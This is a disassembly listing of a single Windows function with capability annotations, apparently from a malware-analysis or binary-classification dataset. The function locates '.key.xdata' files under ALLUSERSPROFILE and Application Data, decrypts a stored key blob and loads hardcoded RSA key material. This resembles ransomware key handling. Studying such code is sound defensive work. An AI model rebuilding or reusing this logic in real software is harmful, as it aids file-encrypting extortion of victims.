Function at 0x1001df80
Capabilities:
Enumerate files on windows
Get file size
Get hostname
Query environment variable
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xfa4
mov eax, dword [0x10139d00]
xor eax, esp
mov dword [esp + 0xfa0], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xdaa]
push ecx
mov dword [0x101e06b4], 0
mov word [esp + 0xdac], ax
call fcn.100d4cc0
add esp, 0xc
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0xda4]
push eax
mov dword [esp + 0x3c], 0x208
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x59a]
push edx
mov word [esp + 0x59c], cx
call fcn.100d4cc0
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x7ae]
push ecx
mov word [esp + 0x7b0], ax
call fcn.100d4cc0
add esp, 0x18
push 0x104
lea edx, [esp + 0x79c]
push edx
push str.ALLUSERSPROFILE
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea eax, [esp + 0xda0]
push eax
lea ecx, [esp + 0x79c]
push ecx
push str._ws_ws.key.xdata
mov eax, 0x208
lea ebx, [esp + 0x59c]
call fcn.1000ede0
add esp, 0xc
call fcn.1006d900
mov edi, eax
mov dword [esp + 0x2c], edi
test edi, edi
je 0x1001ea63
lea edx, [edi + 0x10]
push str.A8FD62088CE3419D5529620102B6AFA13DBE3AC2C87A6FD33731C151CCEDA52E7DA19B53016CA871F2E4BD514E8B7ED0EA5C832C3617C0C6393BFE54261DE2426E457DCE1A8C1FC038816DE87CC543EE28D8416F6B3E0F2C49053B0B74466093FD1DD6DBF52157493ED5EB3764DD2C2A0AD8139EB1383DD22A56920E766DA2AE4457F79CD8255E629BFCFFF37FF97EA0DE57F7337D977BA141A8ECACE09FD0063D3DDAF9649B21DBF3D294C8B90CDEA23CDEE318A1469BFEAEB0941DCC40124E5ACEB174BA4AF2D2C7975C6CB6BB6BD1328FF163448FAD580D5380B754A6C705CDD760FEAB98C81917943B3114AF84F488B6688D6BFCFD8471ECF2363950F929
push edx
call fcn.10073f60
lea eax, [edi + 0x18]
push str.22D75B06F8454299F59CFA9FCAB76FAE86D459B91F2C5F31E507551C506C0ECA6F0C8AC1AA6184B939A2FF856BF446C93C08A6E2CEA44712976A4F1D7A5E5EEFE35C607BC5ED6DFE6BA803C9133078B8F9A2DC9AE4397F575A16C1FDB29370061301BBF2CDAF7A1797E4F30210C1A901620AFAC095394B45B184F7C81392B71F6FCC9B2C9D03EE26247A5E19688EC6D66C986E55EC66264A6CFC1682A00061F5415165C2EF6EED337FA236C9BBA716BB381C1D3A65A9A8DDD01649C1343E15AD07C03305C2BA8B5BA575BF292C1795DDC24D320DF5E95DECD27D77612F82043B892AB8E7ABD3907D9967CC16323CCC5F2CBFB69E16D39F744A1EECC3FAE2B881
push eax
call fcn.10073f60
lea ecx, [edi + 0x14]
push str.65537
push ecx
call fcn.10074130
push 0x24c
lea edx, [esp + 0x150]
push 0
push edx
mov dword [esp + 0x154], 0
call fcn.100d4cc0
add esp, 0x24
lea eax, [esp + 0x130]
push eax
mov ecx, ebx
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x30], eax
test eax, eax
je 0x1001e561
lea esp, [esp]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push 0x10129d28
lea edx, [esp + 0x160]
push edx
call esi
test eax, eax
je 0x1001e532
push 0x10129d2c
lea eax, [esp + 0x160]
push eax
call esi
test eax, eax
je 0x1001e532
test byte [esp + 0x130], 0x10
jne 0x1001e532
lea ecx, [esp + 0x15c]
push ecx
lea edx, [esp + 0x79c]
push edx
push 0x10129678
mov eax, 0x208
lea ebx, [esp + 0x59c]
call fcn.1000ede0
add esp, 0xc
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
mov eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [esp + 0x28], esi
cmp esi, 0xffffffff
je 0x1001e532
lea ecx, [esp + 0x20]
push ecx
xor ebx, ebx
push esi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
push ebx
add ecx, 0xfffffef8
adc edx, 0xffffffff
push ebx
push edx
xor eax, eax
push ecx
push esi
mov dword [esp + 0x34], ecx
mov dword [esp + 0x38], edx
mov dword [esp + 0x24], ebx
mov byte [esp + 0x394], bl
mov dword [esp + 0x395], eax
mov word [esp + 0x399], ax
mov byte [esp + 0x39b], al
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1001e527
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
lea edx, [esp + 0x14]
push edx
push 8
lea eax, [esp + 0x38c]
push eax
push esi
call edi
test eax, eax
je 0x1001e527
mov eax, 8
cmp dword [esp + 0x10], eax
jne 0x1001e527
xor ecx, ecx
lea esp, [esp]
mov edx, dword [esp + ecx + 0x380]
cmp edx, dword [ecx + 0x1012acc4]
jne 0x1001e527
sub eax, 4
add ecx, 4
cmp eax, 4
jae 0x1001e210
push 0xff
lea eax, [esp + 0x495]
push ebx
push eax
mov byte [esp + 0x49c], bl
call fcn.100d4cc0
add esp, 0xc
push ebx
lea ecx, [esp + 0x14]
push ecx
push 0x100
lea edx, [esp + 0x49c]
push edx
push esi
call edi
test eax, eax
je 0x1001e527
cmp dword [esp + 0x10], 0x100
jne 0x1001e527
push 0xff
lea eax, [esp + 0x395]
push ebx
push eax
mov byte [esp + 0x39c], bl
call fcn.100d4cc0
mov ecx, dword [esp + 0x38]
push 3
push ecx
lea edx, [esp + 0x3a4]
push edx
lea eax, [esp + 0x4a8]
push eax
push 0x100
call fcn.1006d950
mov dword [esp + 0x30], eax
add esp, 0x20
mov ecx, 0x100
lea eax, [esp + 0x390]
call fcn.1001df60
cmp dword [esp + 0x10], ebx
jbe 0x1001e527
mov ecx, 0x20
lea eax, [esp + 0x3ec]
call fcn.1001df60
push 0xec
lea ecx, [esp + 0x40]
push ebx
push ecx
mov dword [esp + 0x44], ebx
call fcn.100d4cc0
lea edx, [esp + 0x44]
push edx
lea eax, [esp + 0x3fc]
push 0x100
push eax
mov dword [esp + 0x140], ebx
call fcn.1006c040
add esp, 0x18
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [esp + 0x24], ebx
jl 0x1001e527
mov eax, dword [esp + 0x20]
jg 0x1001e33f
cmp eax, 0x300
jbe 0x1001e527
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
mov dword [esp + 0x18], edi
cmp edi, ebx
je 0x1001e527
mov edx, dword [esp + 0x20]
push ebx
lea ecx, [esp + 0x14]
push ecx
push edx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001e527
mov eax, dword [esp + 0x20]
cmp dword [esp + 0x10], eax
jne 0x1001e527
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [esp + 0x1c], eax
cmp eax, ebx
je 0x1001e520
xor edi, edi
test dword [esp + 0x20], 0xfffffff0
jbe 0x1001e3db
mov esi, dword [esp + 0x18]
sub eax, esi
mov dword [esp + 0x14], eax
jmp 0x1001e3b4
mov eax, dword [esp + 0x14]
push ebx
lea ecx, [esp + 0x3c]
push ecx
add eax, esi
push eax
push esi
call fcn.100723d0
mov edx, dword [esp + 0x30]
add edi, 0x10
and edx, 0xfffffff0
add esp, 0x10
add esi, 0x10
cmp edi, edx
jb 0x1001e3b0
mov esi, dword [esp + 0x28]
call fcn.1006d900
mov dword [0x101e06b8], eax
cmp eax, ebx
je 0x1001e511
push 0x3ff
lea eax, [esp + 0x9a5]
push ebx
push eax
mov byte [esp + 0x9ac], bl
call fcn.100d4cc0
add esp, 0xc
xor ecx, ecx
mov byte [esp + 0xc], bl
mov word [esp + 0xd], cx
mov dword [esp + 0x14], ebx
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
movzx ecx, byte [edx + eax + 4]
push ecx
push str._02X
mov ecx, 3
lea edi, [esp + 0x14]
call fcn.1001ef80
add esp, 8
mov edx, edi
push edx
mov esi, 0x400
lea ebx, [esp + 0x9a4]
call fcn.10004120
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
cmp eax, 0x100
jb 0x1001e419
mov ecx, dword [0x101e06b8]
mov eax, ebx
push eax
add ecx, 0x10
push ecx
call fcn.10073f60
push esi
mov edx, ebx
push 0
push edx
call fcn.100d4cc0
add esp, 0x14
xor eax, eax
mov word [esp + 0xc], ax
mov byte [esp + 0xe], al
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
movzx edx, byte [eax + ecx + 0x204]
push edx
push str._02X
mov ecx, 3
lea edi, [esp + 0x14]
call fcn.1001ef80
add esp, 8
mov eax, edi
push eax
mov esi, 0x400
lea ebx, [esp + 0x9a4]
call fcn.10004120
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
cmp eax, 0x100
jb 0x1001e490
mov edx, dword [0x101e06b8]
mov ecx, ebx
push ecx
add edx, 0x18
push edx
call fcn.10073f60
mov eax, dword [0x101e06b8]
add eax, 0x14
push str.65537
push eax
call fcn.10074130
mov esi, dword [esp + 0x38]
add esp, 0x10
mov dword [0x101e06b4], 1
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov edi, dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x2c]
cmp dword [0x101e06b4], 0
jne 0x1001e556
mov eax, dword [esp + 0x30]
lea edx, [esp + 0x130]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1001e0e0
mov ecx, dword [esp + 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [0x101e06b4], 0
jne 0x1001ea5a
lea edx, [esp + 0xda0]
push edx
lea eax, [esp + 0x79c]
push eax
push str._wsApplication_Data_ws.key.xdata
mov eax, 0x208
lea ebx, [esp + 0x59c]
call fcn.1000ede0
add esp, 0xc
lea ecx, [esp + 0x130]
push ecx
mov edx, ebx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
mov dword [esp + 0x30], esi
test esi, esi
je 0x1001ea5a
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push 0x10129d28
lea eax, [esp + 0x160]
push eax
call edi
test eax, eax
je 0x1001ea2f
push 0x10129d2c
lea ecx, [esp + 0x160]
push ecx
call edi
test eax, eax
je 0x1001ea2f
test byte [esp + 0x130], 0x10
jne 0x1001ea2f
lea edx, [esp + 0x15c]
push edx
lea eax, [esp + 0x79c]
push eax
push str._wsApplication_Data_ws
mov eax, 0x208
lea ebx, [esp + 0x59c]
call fcn.1000ede0
add esp, 0xc
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
mov ecx, ebx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov dword [esp + 0x20], edi
cmp edi, 0xffffffff
je 0x1001ea2f
lea edx, [esp + 0x380]
push edx
xor ebx, ebx
push edi
mov dword [esp + 0x388], ebx
mov dword [esp + 0x38c], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ecx, dword [esp + 0x380]
mov edx, dword [esp + 0x384]
push ebx
add ecx, 0xfffffef8
adc edx, 0xffffffff
push ebx
push edx
xor eax, eax
push ecx
push edi
mov dword [esp + 0x394], ecx
mov dword [esp + 0x398], edx
mov dword [esp + 0x24], ebx
mov byte [esp + 0x39c], bl
mov dword [esp + 0x39d], eax
mov word [esp + 0x3a1], ax
mov byte [esp + 0x3a3], al
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1001ea24
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
lea eax, [esp + 0x14]
push eax
push 8
lea ecx, [esp + 0x394]
push ecx
push edi
call esi
test eax, eax
je 0x1001ea24
mov eax, 8
cmp dword [esp + 0x10], eax
jne 0x1001ea24
xor ecx, ecx
jmp 0x1001e700
mov edx, dword [esp + ecx + 0x388]
cmp edx, dword [ecx + 0x1012acc4]
jne 0x1001ea24
sub eax, 4
add ecx, 4
cmp eax, 4
jae 0x1001e700
push 0xff
lea eax, [esp + 0x495]
push ebx
push eax
mov byte [esp + 0x49c], bl
call fcn.100d4cc0
add esp, 0xc
push ebx
lea ecx, [esp + 0x14]
push ecx
push 0x100
lea edx, [esp + 0x49c]
push edx
push edi
call esi
test eax, eax
je 0x1001ea24
cmp dword [esp + 0x10], 0x100
jne 0x1001ea24
push 0xff
lea eax, [esp + 0x395]
push ebx
push eax
mov byte [esp + 0x39c], bl
call fcn.100d4cc0
mov ecx, dword [esp + 0x38]
push 3
push ecx
lea edx, [esp + 0x3a4]
push edx
lea eax, [esp + 0x4a8]
push eax
push 0x100
call fcn.1006d950
mov dword [esp + 0x30], eax
add esp, 0x20
mov ecx, 0x100
lea eax, [esp + 0x390]
call fcn.1001df60
cmp dword [esp + 0x10], ebx
jbe 0x1001ea24
mov ecx, 0x20
lea eax, [esp + 0x3ec]
call fcn.1001df60
push 0xec
lea ecx, [esp + 0x40]
push ebx
push ecx
mov dword [esp + 0x44], ebx
call fcn.100d4cc0
lea edx, [esp + 0x44]
push edx
lea eax, [esp + 0x3fc]
push 0x100
push eax
mov dword [esp + 0x140], ebx
call fcn.1006c040
add esp, 0x18
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [esp + 0x384], ebx
jl 0x1001ea24
mov eax, dword [esp + 0x380]
jg 0x1001e835
cmp eax, 0x300
jbe 0x1001ea24
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
mov dword [esp + 0x1c], esi
cmp esi, ebx
je 0x1001ea24
mov edx, dword [esp + 0x380]
push ebx
lea ecx, [esp + 0x14]
push ecx
push edx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001ea24
mov eax, dword [esp + 0x380]
cmp dword [esp + 0x10], eax
jne 0x1001ea24
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x1001ea1d
test dword [esp + 0x380], 0xfffffff0
jbe 0x1001e8d6
sub eax, esi
mov dword [esp + 0x28], eax
jmp 0x1001e8a9
mov eax, dword [esp + 0x28]
push 0
lea ecx, [esp + 0x3c]
push ecx
add eax, esi
push eax
push esi
call fcn.100723d0
mov edx, dword [esp + 0x390]
add ebx, 0x10
and edx, 0xfffffff0
add esp, 0x10
add esi, 0x10
cmp ebx, edx
jb 0x1001e8a5
mov esi, dword [esp + 0x1c]
xor ebx, ebx
call fcn.1006d900
mov dword [0x101e06b8], eax
cmp eax, ebx
je 0x1001ea12
push 0x3ff
lea eax, [esp + 0x9a5]
push ebx
push eax
mov byte [esp + 0x9ac], 0
call fcn.100d4cc0
add esp, 0xc
xor ecx, ecx
mov byte [esp + 0xc], 0
mov word [esp + 0xd], cx
mov dword [esp + 0x18], ebx
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
movzx ecx, byte [edx + eax + 4]
push ecx
push str._02X
mov ecx, 3
lea edi, [esp + 0x14]
call fcn.1001ef80
add esp, 8
mov edx, edi
push edx
mov esi, 0x400
lea ebx, [esp + 0x9a4]
call fcn.10004120
mov eax, dword [esp + 0x18]
inc eax
mov dword [esp + 0x18], eax
cmp eax, 0x100
jb 0x1001e916
mov ecx, dword [0x101e06b8]
mov eax, ebx
push eax
add ecx, 0x10
push ecx
call fcn.10073f60
push esi
mov edx, ebx
push 0
push edx
call fcn.100d4cc0
add esp, 0x14
xor eax, eax
mov word [esp + 0xc], ax
mov byte [esp + 0xe], al
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
movzx edx, byte [eax + ecx + 0x204]
push edx
push str._02X
mov ecx, 3
lea edi, [esp + 0x14]
call fcn.1001ef80
add esp, 8
mov eax, edi
push eax
mov esi, 0x400
lea ebx, [esp + 0x9a4]
call fcn.10004120
mov eax, dword [esp + 0x18]
inc eax
mov dword [esp + 0x18], eax
cmp eax, 0x100
jb 0x1001e98d
mov edx, dword [0x101e06b8]
mov ecx, ebx
push ecx
add edx, 0x18
push edx
call fcn.10073f60
mov eax, dword [0x101e06b8]
add eax, 0x14
push str.65537
push eax
call fcn.10074130
mov edi, dword [esp + 0x30]
mov esi, dword [esp + 0x2c]
add esp, 0x10
mov dword [0x101e06b4], 1
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x30]
cmp dword [0x101e06b4], 0
jne 0x1001ea4f
lea edx, [esp + 0x130]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1001e5b6
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edi, dword [esp + 0x2c]
push edi
call fcn.1006d7b0
add esp, 4
mov ecx, dword [esp + 0xfac]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 0x101e06b4
call fcn.100d0738
mov esp, ebp
pop ebp
ret